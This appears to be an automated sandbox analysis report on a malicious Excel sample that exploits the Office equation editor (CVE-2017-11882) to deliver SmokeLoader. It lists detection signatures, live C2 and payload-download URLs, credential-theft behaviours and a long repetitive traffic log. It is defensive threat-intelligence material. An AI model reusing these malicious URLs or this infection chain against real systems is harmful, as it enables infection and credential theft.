Windows Analysis Report
#20240627_Edlen_A.xls

Overview

General Information

Sample name: #20240627_Edlen_A.xls
Analysis ID: 1448086
MD5: 74cb59a86f4df8375836fd2bc3bbfd08
SHA1: 11745387b652df3e64697fc430d207251fb70fdd
SHA256: 72701fd89271a881e14bfb170ee86d28f5c08fdb73f1be8c6904337c102bf7d7
Tags: xls
Infos:

Detection

SmokeLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Benign windows process drops PE files
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for domain / URL
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected SmokeLoader
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if browser processes are running
Checks if the current machine is a virtual machine (disk enumeration)
Connects to a pastebin service (likely for C&C)
Contains functionality to compare user and computer (likely to detect sandboxes)
Creates a thread in another existing process (thread injection)
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Found evasive API chain (may stop execution after checking mutex)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs new ROOT certificates
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to query CPU information (cpuid)
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Deletes files inside the Windows folder
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Excel Network Connections
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
SmokeLoader The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
  • SMOKY SPIDER
 https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634 Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1B25204E.doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\lionsarebeautifultoruletheforestandtheyalwayskingogthejunglewhoneverknowmanythingkingisrigerbutlionisthekingo__junglelionbeautiufl[1].doc Avira: detection malicious, Label: HEUR/Rtf.Malformed
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{D9BCE685-2557-45B4-B3BC-EEF401A63014}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Found malware configuration
Source: 0000000D.00000002.467072313.0000000000110000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://prolinice.ga/index.php", "http://vilendar.ga/index.php"]}
Multi AV Scanner detection for domain / URL
Source: uploaddeimagens.com.br Virustotal: Detection: 5% Perma Link
Source: http://198.46.177.156/8080/RBG.txt Virustotal: Detection: 8% Perma Link
Source: https://uploaddeimagens.com.br/images/004/785/720/original/new_image.jpg?1716307634 Virustotal: Detection: 12% Perma Link
Source: https://uploaddeimagens.com.br Virustotal: Detection: 6% Perma Link
Source: http://198.46.177.156/xampp/msdc/lionsarebeautifultoruletheforestandtheyalwayskingogthejunglewhoneverknowmanythingkingisrigerbutlionisthekingo__junglelionbeautiufl.doc Virustotal: Detection: 8% Perma Link
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\explorer.exe Code function: 14_2_03F15174 CryptAcquireContextA, 14_2_03F15174
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00083098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW, 18_2_00083098
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00083717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW, 18_2_00083717
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00083E04 RtlCompareMemory,CryptUnprotectData, 18_2_00083E04
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00081198 CryptBinaryToStringA,CryptBinaryToStringA, 18_2_00081198
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_000811E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW, 18_2_000811E1
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_0008123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA, 18_2_0008123B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00081FCE CryptUnprotectData,RtlMoveMemory, 18_2_00081FCE
Source: C:\Windows\SysWOW64\explorer.exe Code function: 21_2_000826AC lstrlen,CryptBinaryToStringA,CryptBinaryToStringA, 21_2_000826AC
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_0008178C lstrlen,CryptBinaryToStringA,CryptBinaryToStringA, 22_2_0008178C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_0008118D CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext, 22_2_0008118D
Source: C:\Windows\SysWOW64\explorer.exe Code function: 24_2_00082404 lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA, 24_2_00082404
Source: C:\Windows\SysWOW64\explorer.exe Code function: 24_2_0008245E lstrlen,CryptBinaryToStringA,CryptBinaryToStringA, 24_2_0008245E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 24_2_0008263E CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext, 24_2_0008263E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 28_2_000C2799 CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext, 28_2_000C2799
Source: C:\Windows\SysWOW64\explorer.exe Code function: 28_2_000C25A4 CryptBinaryToStringA,CryptBinaryToStringA, 28_2_000C25A4

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 198.46.177.156 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe Jump to behavior
Document contains Microsoft Equation 3.0 OLE entries
Source: ~WRF{D9BCE685-2557-45B4-B3BC-EEF401A63014}.tmp.4.dr Stream path '_1778318474/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{D9BCE685-2557-45B4-B3BC-EEF401A63014}.tmp.4.dr Stream path '_1778318479/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: Binary string: F:\System.Management.Automation Controle Financeiro Rump fix\obj\Debug\net20\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.454053406.0000000003E09000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.471104189.00000000082D0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: RegAsm.pdb source: rugtucw, 00000010.00000000.504303884.0000000000F92000.00000020.00000001.01000000.00000009.sdmp, rugtucw.14.dr
Source: Binary string: RegAsm.pdb4 source: rugtucw, 00000010.00000000.504303884.0000000000F92000.00000020.00000001.01000000.00000009.sdmp, rugtucw.14.dr
Source: Binary string: F:\System.Management.Automation Controle Financeiro Rump fix\obj\Debug\net20\System.Management.Automation.pdbSHA256 source: powershell.exe, 0000000C.00000002.454053406.0000000003E09000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.471104189.00000000082D0000.00000004.08000000.00040000.00000000.sdmp
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00081D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose, 18_2_00081D4A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00083ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose, 18_2_00083ED9
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00082B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose, 18_2_00082B15
Source: C:\Windows\SysWOW64\explorer.exe Code function: 21_2_0008255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose, 21_2_0008255C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000815BE RtlZeroMemory,SHGetSpecialFolderPathW,lstrcatW,PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathCombineW,PathMatchSpecW,PathCombineW,FindNextFileW,FindClose, 22_2_000815BE
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000814D8 wsprintfW,FindFirstFileW,wsprintfW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose, 22_2_000814D8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_000813FE wsprintfW,FindFirstFileW,wsprintfW,RemoveDirectoryW,FindNextFileW,FindClose, 22_2_000813FE
Source: C:\Windows\explorer.exe Code function: 23_2_000E1EB4 FindFirstFileW, 23_2_000E1EB4
Source: C:\Windows\explorer.exe Code function: 23_2_000E1DB0 FindFirstFileW, 23_2_000E1DB0
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Suspicious execution chain found
Source: C:\Windows\SysWOW64\wscript.exe Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: z2.ink
Source: global traffic DNS query: name: z2.ink
Source: global traffic DNS query: name: z2.ink
Source: global traffic DNS query: name: z2.ink
Source: global traffic DNS query: name: z2.ink
Source: global traffic DNS query: name: z2.ink
Source: global traffic DNS query: name: paste.ee
Source: global traffic DNS query: name: uploaddeimagens.com.br
Source: global traffic DNS query: name: prolinice.ga
Source: global traffic DNS query: name: prolinice.ga
Source: global traffic DNS query: name: prolinice.ga
Source: global traffic DNS query: name: prolinice.ga
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49175 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
